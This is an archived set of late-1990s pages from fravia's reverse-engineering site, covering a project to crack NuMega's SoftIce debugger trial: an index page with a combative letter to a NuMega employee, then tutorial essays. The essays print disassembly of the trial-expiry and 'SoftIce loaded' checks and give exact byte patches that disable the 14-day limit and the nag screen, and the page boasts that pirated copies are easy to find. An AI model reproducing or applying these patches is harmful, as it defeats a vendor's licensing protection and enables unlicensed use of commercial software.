You are deep inside fravia's page of reverse engineering, choose your way out:

How to use our tools


homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/rhayader.htm (5 of 5) [2/7/2001 3:09:34 PM]


project2

Reverse engineering Academy


Project2
~

NUMEGA'S OWN

(Softice reverse engineering and all other brilliant Numega's tools)

~
Our most important project... Numega's protections are deeper as you may have thought... or are they incredibly simple
and stupid? That was the question we had to solve...

Enough babbling, let's go straight to the softice essays


Enough babbling, let's go straight to the Numega's adds-on
Hey! I'm new to this... how does softice work? I mean, how do I set breakpoints and all that?

This has been for obvious reasons the most important project of the +HCU, and I'm glad to say that we have
TERMINATED it in less than four months. BOZO's Phase 8, that I'm publishing to-day (2 August 1997), represents the
final point for the protection scheme of the NT version. Does it? See Phase 9 by Birdy Harry and Phase A by
ViceVersa+!!

Anyway, I would like to thank the guys of Numega for their wonderful debugger, a tool that I have used with passion
and love since its DOS version 2.6 (cracked and distributed by the Marquis de Soiree), a software debugger so
powerful that Numega's hardware concurrence (Periscope) went bust! I hope the Numega guys will improve Softice
even more in the future, if possible, for once, not only in order to facilitate debugging with source code available
(which has for us zero interest! And stupid programmers leaving stupid bugs in their overbloated source code can use
simpler -and equally stupid- debuggers) but also for more noble and difficult reverse engineering purposes (which has
an enormous interest for the whole future evolution of the software industry out of the mortal "embrace" of Micro$oft),
and I hope as well that they will learn here how to protect better their invaluable product.
I believe it is appropriate to remember here the names of the Godot developers:
Dom Basile Wizard extraordinaire
Tom Guinther Symbol engine, loader
Dan Babcock Symbol engine
Gerald Ryckman Win95 porting & debugging
Ray Hsu Video & mouse support
Let's also send a greeting to Cathy Philbrick, Numega's main "scarecrow spammer", here it is:

http://www.instinct.org/fravia/project2.htm (1 of 6) [2/7/2001 3:09:43 PM]


project2

Dear Cathy, I have received your spam, sent on 9/9/97. Unfortunately your email
was a little imprecise:
this site is NOT "distributing your products on the Web", legally
or illegaly. In fact there is absolutely no need to distribute them
even more. There has never been such a need: the "Bonamico" copy is
everywhere and Numega itself has recently distributed all its products to
the world with a "trial" protection so silly that one wonders if you
actually WANTED your products distributed to every looser for free
(as if, I repeat, it would have been difficult to find complete pirated
copies of any Numega product on the Net... there was NO NEED to reverse
engineer your trial in order to have a perfect complete working copy
of whatever product you have... we have done it just for the fun!).
I'll speak only for my own site: not a single copy of your product
has been distributed from this pages where, on the countrary, I have
always publicly written that people should even "buy" your product.
This by the way is jolly nice of us, since in the reality -I repeat-
your prouct can be gathered everywhere (but here) for free... yes kids,
even version 3.2... I just did a stupid ftpsearch and found two of
them :-)
You write also that you "monitor illegal sites frequently" (Gee... I
would really love to have a job like that!).
Well, you do not seem to be very well informed.
This is NOT an illegal site. Reverse engineering is NOT illegal.
Protection busting is NOT illegal. Removing protections from a
target that you have legally obtained (bought, or as shareware, or
as "trial ware, like your programs), is NOT illegal. Screwing or
re-writing or modifiyng or nuking, or hitting with a mace alien
code is NOT illegal...
It's exactly what your own researchers, at Numega, are doing all
the time, ask them, watch them, grow up for God's sake. And since
you are at it, Cathy, you may as well ask them why the hell are
complete unprotected registered versions of ALL Numega's products
being kept on your own public anonymous FTP server, another of the
many facts that you don't seem to be aware of.
I'll now repeat to you, Cathy, what I have always written yet
-alas- you do not seem to have never read (which is bad, since I
believe that there are not many sites on the web where Numega gets
so much real feedback -and so much praise- as here at fravia's...
therefore you are probably NOT doing your "monitoring" job very well,
dear Cathy, time to fire you, may be) here it is:
Anybody that is seriously into reverse engineering should BUY
softice (as I have done long ago) and THEN crack it black and
blue.
Anyway I'll monitor your site frequently to ensure compliance
with reality.
Fravia
In name of the +HCU I would like to thank in particular Frog's print and +Rcg. First of all Frog's print, mon ami, if it
were not for you all this would not have been possible. Frog's print and +Rcg have supplied the "Backbone" of this
Project.
My thanks, and the thanks of the whole scene go also to IgNorAMUS, Birdy Harry, The Undertaker, Bozo and

http://www.instinct.org/fravia/project2.htm (2 of 6) [2/7/2001 3:09:43 PM]


project2

ViceVersa+. Each one of these Authors has given valuable input and decisive help to this project.

Project2 is CONCLUDED, long life to Winice!

ADDS-ON
And yet we had to add some "adds-on": Numega continues to give out "trial" versions of beautiful programs with
incredibly silly protection schemes... (and yes, Numega continues to publish complete registered versions of them on its
own ftp server as well, btw :-)

In fact the problem is not how to find a fully functional, registered and working copy of ANY Numega's software
whatsoever (every version is roaming the Web). The real funny question for us is: "Why does Numega use such stupid
protection schemes inside his "protected" versions?". Mind you, we are not speaking of a small shareware programmer
that is using some overbloated language for some overbloated useless application: we are speaking of the BEST
programmers and wizards of assembly in the whole planet here! And yet they protect as if they had just finished their
copy of "teach yourself assembly language in 5 easy lessons".
The fact that Numega (which, differently from Micro$oft lamers' park, HAS INDEED A LOT of said good
programmers and wizards) publishes powerful disassembly and reversing tools (Bondcheck, Smartcheck, Softice...) in
downlodable "trial" version with pretty silly protections (as if the kind of people that REALLY USE such tools were
not capable of earing a password echo in memory), added to the fact that they "forget" complete versions of their
programs on their own ftp servers (Softice for Win95 3.2 has been there for more than two months now :-) can IMO
only mean two things:

A) EITHER Numega follows the Micro$oft path of giving away everything for free, in the hope that they will dominate
the disassembler "commercial" markt and get the rewards from "scale" economy.
This may happen: crackers and "simple" programmers of to-day, i.e. a great part of the people that peruse sites like
mine (of which, I am afraid, there are MANY available that offer just the cracks and no explanation at all), ARE the
reverse engineers of to-morrow (who else?), and will be able to afford *any* "commercial" fare that Numega will in
the future decide for, say, Smartcheck version 13.0.
B) OR that Numega will bring to light a very tough protections (the mytical "unbreakable" software protection :-) as
soon as their absolute dominance of the market has been asserted. Let's hope they do it as early as possible: the
"protections" (if you really want to call them so) that they are using at the moment are simply too boring to bother

(c) fravia+ October 1997. All rights reversed

PHASE 1 by Frog's print

Cracking Loader32/NmTrans.dll
How it all started
PHASE 2 by +RCG:

More on Winnie
Another approach to crack SoftIce 3.01 14 day trial
PHASE 3 by Frog's print:

Registry joggling, 26 May1997


Another short approach
PHASE 4 by IgNorAMUS:

http://www.instinct.org/fravia/project2.htm (3 of 6) [2/7/2001 3:09:43 PM]


project2

WiniceNT cracking, a first approach, 27 May1997


How EXE checksums work
PHASE 5 by +RCG:

An introduction to virtual devices cracking, 27 May1997


An important lesson

PHASE 6 by Birdy Harry:

Deeper WiniceNT cracking, working with HIEW, 17 July 1997


An important lesson, deepens our undesrtanding of NT-Winice.
About this phase I got a comment from Squirrle:

Phase six was only partly helpful in patching ntice.


I got lots of errors and even after I found out about the need for
certain visual c++ libraries to follow phase 4. Since I could not
load pnpisa.sys as described (error requesting some debug data)
I could not get the new checksum.
My version was different than in phase six so I was not able to copy
the work. I did some searching on the net and found a helpful news
article describing how to AUTOMATICALLY change the checksum.
Simple (although not as instructive, it WORKS) use vc++ editbin.exe
as follows: editbin /release That's it.
You'll need editbin.exe, link.exe and mspdb40.dll from vc++ v4
(I got a cheapie copy from a store selling an old standard version
under a different name).
Perhaps this would help some newbies get up and running faster --
NT is not an easy thing to understand without some good training!
Thanks for all the good information and keep up the good work!

Squirlle, 25 July 1997


The problem addressed by Squirlle is discussed (and resolved) in BOZO's PHASE 8... read that and look... it's an
interesting history... Winice for WinNT "changes" if loaded at Boot or afterwards... anybody would like to delve a little
inside this particular aspect?

PHASE 7 by The Undertaker

Short and effective Win95's Softice cracking, 01 August 1997


The final point in cracking Godot for Win95, from Sri Lanka!

PHASE 8 by Bozo

WinNT-Winice reverse engineering, another approach, 02 August 1997


The final point in cracking Godot for WinNT, this concludes the whole project2!

PHASE 9 by Birdy Harry

http://www.instinct.org/fravia/project2.htm (4 of 6) [2/7/2001 3:09:43 PM]


project2

WinNT-Winice reverse engineering, some explanations, 06 August 1997


There is never a final point in cracking... a lesson for everyone!

PHASE A by ViceVersa+

Winice 3.01 time-stamp encryption algorithm, 07 August 1997


Timestamping... and timedestamping

SHORT INTEGRATION by Heres

How to install Soft-Ice 3.01 Win95 (trial version), 19 August 1997

PHASE B by Frog's Print

melted MeltICE, 22 August 1997


SoftIce 3.xx detection and another lesson for shareware programmers

PHASE C by Frog's Print

little patch to get back the AZERTY keyboard, 20 September 1997


The new winice.exe version 3.21 (available everywhere) is an US copy so it will turn your keyboard into QWERTY
Frog's print defends our European perspective
useful info

I decided to add to this project all essays that have to do with softice/winice
ADD-ON 1 by Civetta

NO MORE annoying anti SOFT-ICE tricks


The famous essay from a friend of +ORC
ADD-ON 2 by Harwi, 5 July 1997

BoundsChecker time limit defeated


The 'Persistent file' protection scheme
ADD-ON 3 by Shadow, 21 October 1997

BoundsChecker 5.02 Visual C++ Edition


'Hardcoded' serial numbers
ADD-ON 4 by Snatch, 27 October 1997

An interesting tool: Numega Smartcheck 5.0


Echoing a silly "install" and trial protection scheme
ADD-ON 5 by fravia+, 07 November 1997

http://www.instinct.org/fravia/project2.htm (5 of 6) [2/7/2001 3:09:43 PM]


project2

An interesting tool: Numega's Smartcheck


how to defeat all protections (visual basic 1-5 and other languages as well)
ADD-ON 6 by Sandman, 03 May 1998

How to crack ANY program that uses the TL32V2.DLL!)


(An addition to Harwi's essay)
ADD-ON 7 by Kaxeli, 06 July 1998

Softice's DigitCheck's Checkdigit :-)

It would be nice if somebody (I have unfortunately not the time at the moment) would "condensate" all phases of this
project in a COMPLETE essay about Softice95 and SofticeNT (and all other nice Numega's tools), checking everything
once more and presenting a "final" nice product of the +HCU to the scene... on the other hand it could be better to leave
the things a little "rough", without making it too much easy for lamers and lurkers... you, reader, decide.

How does Softice work? How do I set breakpoints and all that?
I receive tons of silly emailings like that...

No, I'm not going to explain you this too... softice must be learned through experience. I suggest you the following:
1) read the softice documentation thoroughly, you'll find it complete and free to download (in acrobat format) at
Numega's site AND on many good scene pages,
2) experiment, experiment and experiment a little more. And then experiment again. And then re-read the
documentation (which is available, I repeat) and then experiment some more... then, if you still have some problems,
3) visit (and read) "Mankind comes into the ice Age", from the beautiful series "Mammon_'s Tales to his Grandson",
and if you still need knowledge,
4) visit the other +HCU pages at +gthorne's place where all your remaining doubts and problems will be clarified
and solved, at least I hope, because if it is still not so, you should leave this stuff and find something else to play with :-)

This said, if a pious soul would gather ALL advices about softice breakpointing techniques that are scattered in the
various scene pages and on many essays and in some +ORC's lessons and elsewhere, and if the same pious soul would
bravely put all this together and send it to me, I could consider opening a special section of my site to this endeavour...
do not make things TOO easy! It's always the same problem: should we make things so easy that any luser can grab
software even if he does not understand nor love our white magic art or should we set a minimum threshold: a
minimum "brain entry level"?

homepage links anonymity +ORC students' essays academy database


tools counter measures cocktails antismut search_forms mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed

http://www.instinct.org/fravia/project2.htm (6 of 6) [2/7/2001 3:09:43 PM]


wi_frog

+HCU 1997, Project2: Winice cracking


Phase 1
Courtesy of Fravia's page of reverse engineering

How To Crack Soft-Ice 3.01 Win95 (Part 1: Cracking Loader32/NmTrans.dll)

- by Frog's Print

Numega's peoples are quite nice: they offer us the possibility to download Soft-Ice
3.01
(as well as the full documentation in Acrobat Reader format!!). Of course, it is
fully functional but....will only work for 14 days. Ain't that beautiful: we can
crack
our beloved, amazing tool, one of the best or may be THE best program we little
-crackers or +crackers use and cheer every day. That's really great. Thank you so
much Numega.

WE ARE NOT GOING TO CRACK IT ALL (yet), just -for now- the loader (Loader32.exe) and
the main DLL (Nmtrans.dll).

Let's go.

First, get yourself a copy of WinIce Win95 at Numega's site (Http://www.numega.com).


So, now, what can I expect?

1/ One of the most difficult protection scheme I ever cracked?


2/ Something I will not be able to crack?
3/ Will my brand new Notebook Pentium 133, 16Mb/1,35Gb blow up in my face if I
only change one single byte inside Winnie?

Let's see.

The first thing to do is to have a look a the WinIce.dat file as I want to


personalize it for my cracking purposes.
And look! Check the last line:

; Eval expiration date - DO NOT REMOVE!


DATE=413477b9 39533730

Is it a joke or are they serious? I can't believe it to see this written in upper
case letters... are they "teasing" all crackers? Are they just plain stupid? Did
they hyde inside this program another protection?

Of course I remove immediatly the line above (after having, of course,


backed up the file before) and reboot. Let'see what's going to happen.

Back to Windows everything seems to be fine except that when pressing CTRL-D
I can't get into Soft-Ice as usual. Loader32.exe works fine.

http://www.instinct.org/fravia/wi_frog.htm (1 of 5) [2/7/2001 3:09:46 PM]


wi_frog

I reinstall WinIce.dat,once more, with the expiration comments inside winice.dat


and reboot again.

Now I change the date (1 month ahead) and run Loader32.exe: It says that I have
0 days left AND that Soft-Ice isn't active (though it is if I press CTRL-D).
I restore the date and try again: it works fine!

Let's disassemble it with W32Dasm8.

Checking the Imports Functions I find a "NMTRANS.NmGetNumDaysLeft"!!!


Again, I can't believe it: what a name! This routine, located inside Nmtrans.dll,
is used to check how many days you have left before Soft-Ice stop working.

Of course, I used the "Live approach" to understand the codes (and after having
added NmTrans.dll *INSIDE* my Wince.dat in order to be able to BPX it's functions)
Here is now the listing of NMTRANS.NmGetNumDaysLeft and the calls to it
inside Loader32.exe, listing provided by W32Dasm8, so it will be easier for you
to understand what's going on:

1/ From the file Nmtrans.dll (which is located inside your Winice directory):

Exported fn(): NmGetNumDaysLeft - Ord:000Dh


:100263F0 83EC20 sub esp, 00000020
:100263F3 8D442404 lea eax, [esp + 04]
...
...
(* The program check the installation date *)
...
...
* Reference To: KERNEL32.GetSystemTime, Ord:0134h
:10026476 FF1538421C10 Call dword ptr [101C4238]
:1002647C 8B742420 mov esi, [esp + 20]
...
(* Now, gets the actual date *)
...
...
...
(* And now....: *)

:10026549 2BCA sub ecx, edx ;ECX-EDX:=Days_Used


* Referenced by a Jump at Address:10026547(C)
:1002654B B800000000 mov eax, 0 ;EAX:=0
:10026550 83F90E cmp ecx, E ;Compare Days_Used with 14_Days_Allowed
:10026553 7307 jnb 1002655C ;Outta_Here_If_Above_Or_Equal!
:10026555 B80E000000 mov eax, E ;Good_!Go_Head, EAX:=14_Days_Allowed
:1002655A 2BC1 sub eax, ecx ;14_Days_Allowed - Days_Used := Days_Left

* Referenced by a Jump at Address :10026553(C)


:1002655C 5D pop ebp
:1002655D A3DC201C10 mov [101C20DC], eax ;Store Days_Left
:10026562 5F pop edi
:10026563 5E pop esi
:10026564 5B pop ebx
:10026565 83C420 add esp, 00000020
:10026568 C3 ret ;Back to Loader32.exe

http://www.instinct.org/fravia/wi_frog.htm (2 of 5) [2/7/2001 3:09:46 PM]


wi_frog

2/ Now, back to Loader32.exe

* Reference To: NMTRANS.NmGetNumDaysLeft, Ord:0000h


:0043A261 E8CE9EFFFF Call 00434134 ;That's the CALL we come from
:0043A266 898560FFFFFF mov [ebp+FFFFFF60], eax ;Store Days_Left
:0043A26C C68564FFFFFF00 mov byte ptr [ebp+FFFFFF64], 00
:0043A273 8D9560FFFFFF lea edx, [ebp+FFFFFF60] ;EDX:= Days_Left
:0043A279 33C9 xor ecx, ecx

* Possible StringData Ref from Code Obj ->"**** Evaluation version. Valid "
->"for %d days. ****"
:0043A27B B890A44300 mov eax, 0043A490 ;"...Valid for"
:0043A280 E86FBFFCFF call 004061F4 ;Days_Left "days."
:0043A285 6A00 push 00000000
:0043A287 8B45FC mov eax, [ebp-04]
:0043A28A E82D93FCFF call 004035BC
:0043A28F 8BD0 mov edx, eax

* Possible StringData Ref from Code Obj ->"Symbol Loader"


:0043A291 B970A54300 mov ecx, 0043A570 ; Title of the Message Box
:0043A296 A124C64300 mov eax, [0043C624]
:0043A29B E838A1FEFF call 004243D8 ;Call to MessageBoxA...
:0043A2A0 A124C64300 mov eax, [0043C624]
:0043A2A5 8998A8000000 mov [eax+000000A8], ebx
...
...

How do we crack this?

1/ Nmtrans.dll:
We had:
:1002654B B800000000 mov eax, 0 ;
We change to:
:1002654B B900000000 mov ecx, 0 ;

Seems right, yet now, if you run Loader.exe, you will notice that it gives you
the following message: "Sof-Ice not Loaded!".

So let's go back to Nmtrans.dll to see how it checks if Soft-Ice is loaded or not.


We find a function called "NmSymIsSoftICELoaded".

Exported fn(): NmSymIsSoftICELoaded - Ord:0016h


* Reference To: nmtrans.DevIO_ConnectToSoftICE
:10027A30 E82B72FEFF call 1000EC60
:10027A35 83F8FF cmp eax, FFFFFFFF
:10027A38 740D je 10027A47
:10027A3A 50 push eax
...

Let's have a look at Call 1000EC60:


Exported fn(): DevIO_ConnectToSoftICE - Ord:0002h
:1000EC60 83EC20 sub esp, 00000020
:1000EC63 53 push ebx

http://www.instinct.org/fravia/wi_frog.htm (3 of 5) [2/7/2001 3:09:46 PM]


wi_frog

:1000EC64 56 push esi


:1000EC65 57 push edi
...
and we land here again: GetSysTemTime!
* Reference To: KERNEL32.GetSystemTime, Ord:0134h
:1000ED3D FF1538421C10 Call dword ptr [101C4238]
:1000ED43 8B442418 mov eax, [esp + 18]
...
:1000EE12 3BD1 cmp edx, ecx ;Check Days_Left
:1000EE14 7202 jb 1000EE18 ;Take care: this little user may have
;set the date back to previous months..
:1000EE16 2BD1 sub edx, ecx ;EDX:= Days_Left;

* Referenced by a Jump at Address:1000EE14(C)


:1000EE18 83FA0E cmp edx, E ;Compare Days_Left // 14_Days_Allowed
:1000EE1B 720F jb 1000EE2C ;Good!_Go_Head_If_Below
:1000EE1D C7051CEE1B1000000000 mov dword ptr[101BEE1C],0000 ;Sorry....Bye_Bye
:1000EE27 83EE02 sub esi, 00000002
:1000EE2A EB10 jmp 1000EE3C
...
In fact, Loader32 will tell you that Soft-Ic ISN'T loaded though it IS just
because your trial period has expired.
Let's crack it too.

We had:
:1000EE12 3BD1 cmp edx, ecx
:1000EE14 7202 jb 1000EE18
:1000EE16 2BD1 sub edx, ecx

* Referenced by a Jump at Address:1000EE14(C)


:1000EE18 83FA0E cmp edx, E ;once more, checking 14
:1000EE1B 720F jb 1000EE2C
:1000EE1D C7051CEE1B1000000000 mov dword ptr[101BEE1C],0000

We change to:
:1000EE12 3BD2 cmp edx, edx ;<=**here** :1000EE14 7202 jb 1000EE18
:1000EE16 2BD2 sub edx, edx ;<="**AND" HERE TOO** * Referenced by a Jump at
Address:1000EE14(C) :1000EE18 83FA0E cmp edx, E ;once more, checking 14 :1000EE1B
720F jb 1000EE2C :1000EE1D C7051CEE1B1000000000 mov dword ptr[101BEE1C],0000 Now, we
will always have 14 days left. As there is a nagscreen remainding it, and as we
definitely do not like nagscreen, let's crack the nagscreen too: We had: :0043A291
B970A54300 mov ecx, 0043A570 ;prepare nag :0043A296 A124C64300 mov eax, [0043C624]
;and then :0043A29B E838A1FEFF call 004243D8 ;call MessageBoxA... Change to:
:0043A291 B970A54300 mov ecx, 0043A570 :0043A296 A124C64300 mov eax, [0043C624]
:0043A29B 4048904048 inc ax,dec ax,nop,inc ax,dec ax ;<="**HERE**" Now, after doing
those changes, reboot and check what's going on: 1/ Soft-Ice is loaded. 2/
Loader32.exe works quite well. 3/ ...but you CANNOT reach Soft-Ice's screen as the
CTRL-D keys don't work! (but it IS active, I checked with my own little program) 4/
Here we are for now!! I stopped here and let you think about it. Sure someone will
work onwards with this target even if I don't. Two more things: If you delete the
line 'INIT="X' from WinIce.dat and reboot, this will allow
you to pop into Soft-Ice screen even before Windows95 starts. So, you could trace,
BPX...

-Don't forget the line " Eval expiration date DO NOT REMOVE! DATE="XXXXXXXX" XXXXXXX"

http://www.instinct.org/fravia/wi_frog.htm (4 of 5) [2/7/2001 3:09:46 PM]


wi_frog

in WinIce.dat as when it is removed, you can't reach Soft-Ice screen. To explore...


Happy cracking, Frog's Print

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut CGI-tricks search_forms mailFraVia
Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_frog.htm (5 of 5) [2/7/2001 3:09:46 PM]


wi_rcg

+HCU 1997, Project2: Winice cracking


Phase 2
Courtesy of Fravia's page of reverse engineering
PHASE 2 by +Rcg

Another approach to crack SoftIce 3.01 14 day trial.

After having read the phase 1 of this project, by Frog's print, I thought:
let's analize a little the NmGetNumDaysLeft function

So with W32dasm8 I got the next code fragment.

Exported fn(): NmGetNumDaysLeft - Ord:000Dh


:100263F0 83EC20 sub esp, 00000020
:100263F3 8D442404 lea eax, [esp + 04]
:100263F7 53 push ebx
:100263F8 56 push esi
:100263F9 57 push edi
:100263FA 55 push ebp
:100263FB 50 push eax
:100263FC 6819000200 push 00020019
:10026401 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"Software\Microsoft\Windows\Help"


|
:10026403 6888880710 push 10078888
:10026408 6802000080 push 80000002

* Reference To: ADVAPI32.RegOpenKeyExA, Ord:012Eh


|
:1002640D FF15F8411C10 Call dword ptr [101C41F8]
:10026413 85C0 test eax, eax
:10026415 755A jne 10026471
:10026417 BF04000000 mov edi, 00000004
:1002641C 8D442410 lea eax, [esp + 10]
:10026420 8B4C2414 mov ecx, [esp + 14]
:10026424 50 push eax
:10026425 68D8201C10 push 101C20D8

* Reference To: ADVAPI32.RegQueryValueExA, Ord:0136h


|
:1002642A 8B35F4411C10 mov esi, [101C41F4]
:10026430 897C2418 mov [esp + 18], edi
:10026434 6A00 push 00000000
:10026436 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"OleGUIDLow"


|
:10026438 687C880710 push 1007887C
:1002643D 51 push ecx

http://www.instinct.org/fravia/wi_rcg.htm (1 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:1002643E FFD6 call esi


:10026440 85C0 test eax, eax
:10026442 752D jne 10026471
:10026444 897C2410 mov [esp + 10], edi
:10026448 8D7C2410 lea edi, [esp + 10]
:1002644C 8B442414 mov eax, [esp + 14]
:10026450 57 push edi
:10026451 68E8231C10 push 101C23E8
:10026456 6A00 push 00000000
:10026458 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"OleGUIDHigh"


:1002645A 6870880710 push 10078870
:1002645F 50 push eax
:10026460 FFD6 call esi
:10026462 85C0 test eax, eax
:10026464 750B jne 10026471
:10026466 8B442414 mov eax, [esp + 14]
:1002646A 50 push eax

* Reference To: ADVAPI32.RegCloseKey, Ord:0117h


|
:1002646B FF15F0411C10 Call dword ptr [101C41F0]

* Referenced by a Jump at Addresses:10026415(C), :10026442(C), :10026464(C)


|
:10026471 8D442420 lea eax, [esp + 20]
:10026475 50 push eax

* Reference To: KERNEL32.GetSystemTime, Ord:0134h


|
:10026476 FF1538421C10 Call dword ptr [101C4238]
:1002647C 8B742420 mov esi, [esp + 20]
:10026480 33C0 xor eax, eax
:10026482 668B442426 mov ax, [esp + 26]
:10026487 81E6FFFF0000 and esi, 0000FFFF
:1002648D 8B0DC0A50710 *** mov ecx, [1007A5C0] ;Get 1st constant value
:10026493 8944241C mov [esp + 1C], eax
:10026497 33C0 xor eax, eax
:10026499 330DD8201C10 *** xor ecx, [101C20D8] ;Xor with Date 1st value
:1002649F 668B442422 mov ax, [esp + 22]
:100264A4 8BD9 mov ebx, ecx
:100264A6 81E300F00000 and ebx, 0000F000
:100264AC 8BF9 mov edi, ecx
:100264AE C1EB0C shr ebx, 0C
:100264B1 83E70F and edi, 0000000F
:100264B4 C1E704 shl edi, 04
:100264B7 8BE9 mov ebp, ecx
:100264B9 81E50000000F and ebp, 0F000000
:100264BF 89442418 mov [esp + 18], eax
:100264C3 C1ED10 shr ebp, 10
:100264C6 8BC1 mov eax, ecx
:100264C8 250000F000 and eax, 00F00000
:100264CD C1E814 shr eax, 14
:100264D0 0BF8 or edi, eax

http://www.instinct.org/fravia/wi_rcg.htm (2 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:100264D2 8BC1 mov eax, ecx


:100264D4 2500000F00 and eax, 000F0000
:100264D9 81E1F0000000 and ecx, 000000F0
:100264DF 0BE8 or ebp, eax
:100264E1 C1ED08 shr ebp, 08
:100264E4 0BE9 or ebp, ecx
:100264E6 B9FFFFFFFF mov ecx, FFFFFFFF
:100264EB 2BCB sub ecx, ebx
:100264ED 8D443D00 lea eax, [ebp + edi
:100264F1 0FAFCF imul ecx, edi
:100264F4 49 dec ecx
:100264F5 40 inc eax
:100264F6 0FAFCD imul ecx, ebp
:100264F9 0FAFC3 imul eax, ebx
:100264FC 2BC8 sub ecx, eax
:100264FE 8BC7 mov eax, edi
:10026500 33C5 xor eax, ebp
:10026502 33C3 xor eax, ebx
:10026504 2BC8 sub ecx, eax
:10026506 A1C4A50710 **** mov eax, [1007A5C4] ;2nd contant value
:1002650B 3305E8231C10 xor eax, [101C23E8]
:10026511 3305D8201C10 xor eax, [101C20D8]
:10026517 03C8 add ecx, eax
:10026519 2BCF sub ecx, edi
:1002651B 7402 je 1002651F
:1002651D FFD1 call ecx
:1002651F 8D4C6D00 lea ecx, [ebp + 2*ebp]
:10026523 8D0C8B lea ecx, [ebx + 4*ecx]
:10026526 8D1C76 lea ebx, [esi + 2*esi]
:10026529 8BC1 mov eax, ecx
:1002652B C1E105 shl ecx, 05
:1002652E 2BC8 sub ecx, eax
:10026530 8B442418 mov eax, [esp + 18]
:10026534 8D1439 lea edx, [ecx + edi]
:10026537 8D0C98 lea ecx, [eax + 4*ebx]
:1002653A 8BD9 mov ebx, ecx
:1002653C C1E105 shl ecx, 05
:1002653F 2BCB sub ecx, ebx
:10026541 034C241C add ecx, [esp + 1C]
:10026545 3BCA cmp ecx, edx
:10026547 7202 jb 1002654B
:10026549 2BCA sub ecx, edx
:1002654B B800000000 mov eax, 00000000
:10026550 83F90E cmp ecx, 0000000E
:10026553 7307 jnb 1002655C
:10026555 B80E000000 mov eax, 0000000E

:1002655A 2BC1 sub eax, ecx

:1002655C 5D pop ebp

:1002655D A3DC201C10 mov [101C20DC], eax

http://www.instinct.org/fravia/wi_rcg.htm (3 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:10026562 5F pop edi

:10026563 5E pop esi

:10026564 5B pop ebx

:10026565 83C420 add esp, 00000020

:10026568 C3 ret

Obviously, I was thinking that this crack couldn't be


so easy... yet after studying a little the routine above, I
noticed that there are two contant (fixed) values:

FCB32679 and 7866EDBA

these values are used to decrypt the instalation date, and after
having done the hard work in order to analyze the code, I just made a
simple check: I searched these values INSIDE the winice.exe file and...
tachantachan.... only ONE ocurrence. Bingo! Therefore I figured that the
winice.exe file uses theses values too, in order to determine if you are
a good or a bad guy (until this moment I kept thinking that the NuMega
boys were just laughing at my efforts). Look what I found:

I found this:

46 75 6E 63 74 69 6F 6E 20 6E 75 6D 62 65 72 20 Function number
28 25 64 29 20 63 61 6E 27 74 20 62 65 20 67 72 (%d) can't be gr
65 61 74 65 72 20 74 68 61 6E 20 E7 00 00 00 00 eater than 7....
79 26 B3 FC BA ED 66 78 00 00 00 00 00 00 00 00 y&....fx........
^^^^^^^^^^^^^^^^^^^^^^^

so now the next question is,


Does really winice use the date numbers with the curious caption
"Eval expiration date - DO NOT REMOVE!" inside the winice.dat file? Or is
it just a "smoke" to take all crackers on a boot ride?

The next step was to change, inside winice.exe, one of these two constants,
then rerun again Sice and look!... Ctrl+D has no effect. Sice does
not pop, protection has snapped!

But, I thought, this could be caused just by the "modification" of the file,
may be there is a checksum, if you alter anything it snaps... let's check!
With the original file, I wrote uppercase FUNCTION on the lowercase "Function"
among the above bytes, and... nothing happens, SoftIce ran perfectly, OK!!!
No file checksum routine.

Now, I was completely sure that THESE values were used by the protection shceme.

http://www.instinct.org/fravia/wi_rcg.htm (4 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

Where are these values hidden? In the winice.dat (of course) AND
in the registry, searching in the registry I found in:

MyPc\HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help
OleGUIDHigh Date Value1
OleGUIDLow Date Value2

After that I tried another trick: I put Frog's print's values in my own winice.dat
file AND in the registry and it worked fine.

Now again W32dasm8 on winice.exe and searching in winice.exe with a


little use of zen (I searched for 0000000E, That not too much zen, is it? :-)
and i found:

:000549A6 55 push ebp


:000549A7 8BEC mov ebp, esp
:000549A9 83EC1C sub esp, 0000001C
:000549AC 53 push ebx
:000549AD 56 push esi
:000549AE 57 push edi
:000549AF A1D4730B00 mov eax, [000B73D4]
:000549B4 3305B88E0600 xor eax, [00068EB8]
:000549BA 8945EC mov [ebp-14], eax
:000549BD A1D0730B00 mov eax, [000B73D0]
:000549C2 3305B48E0600 xor eax, [00068EB4
:000549C8 8945F8 mov [ebp-08], eax
:000549CB A1B48E0600 mov eax, [00068EB4]
:000549D0 3145EC xor [ebp-14], eax
:000549D3 8B45F8 mov eax, [ebp-08]
:000549D6 C1E80C shr eax, 0C
:000549D9 83E00F and eax, 0000000F
:000549DC 8945FC mov [ebp-04], eax
:000549DF 8B45F8 mov eax, [ebp-08]
:000549E2 C1E814 shr eax, 14
:000549E5 83E00F and eax, 0000000F
:000549E8 8B4DF8 mov ecx, [ebp-08]
:000549EB 83E10F and ecx, 0000000F
:000549EE C1E104 shl ecx, 04
:000549F1 0BC1 or eax, ecx
:000549F3 8945F0 mov [ebp-10], eax
:000549F6 8B45F8 mov eax, [ebp-08]

:000549F9 C1E808 shr eax, 08

:000549FC 25000F0000 and eax, 00000F00

:00054A01 8B4DF8 mov ecx, [ebp-08]

:00054A04 C1E918 shr ecx, 18

http://www.instinct.org/fravia/wi_rcg.htm (5 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:00054A07 83E10F and ecx, 0000000F

:00054A0A 0BC1 or eax, ecx

:00054A0C 8B4DF8 mov ecx, [ebp-08]

:00054A0F 81E1F0000000 and ecx, 000000F0

:00054A15 0BC1 or eax, ecx

:00054A17 8945F4 mov [ebp-0C], eax

:00054A1A 2BC0 sub eax, eax

:00054A1C 8B4DF4 mov ecx, [ebp-0C]

:00054A1F 334DF0 xor ecx, [ebp-10]

:00054A22 334DFC xor ecx, [ebp-04]

:00054A25 8B55F4 mov edx, [ebp-0C]

:00054A28 0FAF55F0 imul edx, [ebp-10]

